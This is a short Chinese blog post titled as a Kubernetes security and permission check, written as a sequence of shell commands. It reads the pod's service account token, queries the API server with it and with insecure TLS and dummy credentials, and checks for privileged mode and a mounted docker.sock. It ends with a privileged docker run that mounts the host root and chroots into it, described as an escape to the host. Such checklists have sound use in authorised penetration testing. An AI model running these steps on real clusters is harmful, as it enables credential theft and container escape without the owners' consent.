Administrator
发布于 2024-11-26 / 2 阅读
0

Kubernetes 环境安全与权限检查

检查节点信息与污点配置

使用 kubectl describe nodes 命令可以详细查看节点的配置信息,包括其污点(Taints),这些污点可能影响 Pod 的调度:

kubectl --server=https://10.80.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a describe nodes | grep Taints

检查是否运行在特权模式

在容器中,确认是否以特权模式运行,可以通过查看 /proc/self/status 的地址范围实现:

cat /proc/self/status | grep -qi '0000003fffffffff' && echo 'Is privileged mode' || echo 'Not privileged mode'

查看 Service Account 权限

服务账户的令牌存储在 /run/secrets/kubernetes.io/serviceaccount/token 中。通过查看令牌并结合 API 访问,可以分析其权限范围:

cat /run/secrets/kubernetes.io/serviceaccount/token

使用令牌直接调用 Kubernetes API,检查默认 Service Account 的权限:

curl -ks -H "Authorization: Bearer <TOKEN>" https://10.80.0.1:6443/api/v1/namespaces/node

获取节点列表

使用 kubectl get nodes 可以快速列出当前集群中的节点信息:

kubectl --server=https://10.80.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get nodes

检查 Docker Socket 是否挂载

为了确认容器是否挂载了 docker.sock(可能导致容器逃逸风险),可以执行以下命令:

ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted."

如果返回 Docker Socket is mounted.,表明容器挂载了宿主机的 Docker 套接字,攻击者可能通过此接口获取宿主权限。

创建特权容器

docker run -it --privileged --net=host --pid=host --ipc=host -v /:/host alpine chroot /host

--privileged: 提供容器访问宿主机所有的设备和权限。

--net=host: 共享宿主机网络。

--pid=host: 共享宿主机的进程命名空间。

-v /:/host: 将宿主机根文件系统挂载到容器的 /host 路径。

chroot /host: 切换到宿主机的根文件系统,执行命令时权限等同于宿主机。

随后即可进入该容器中,再次进行逃逸进入宿主机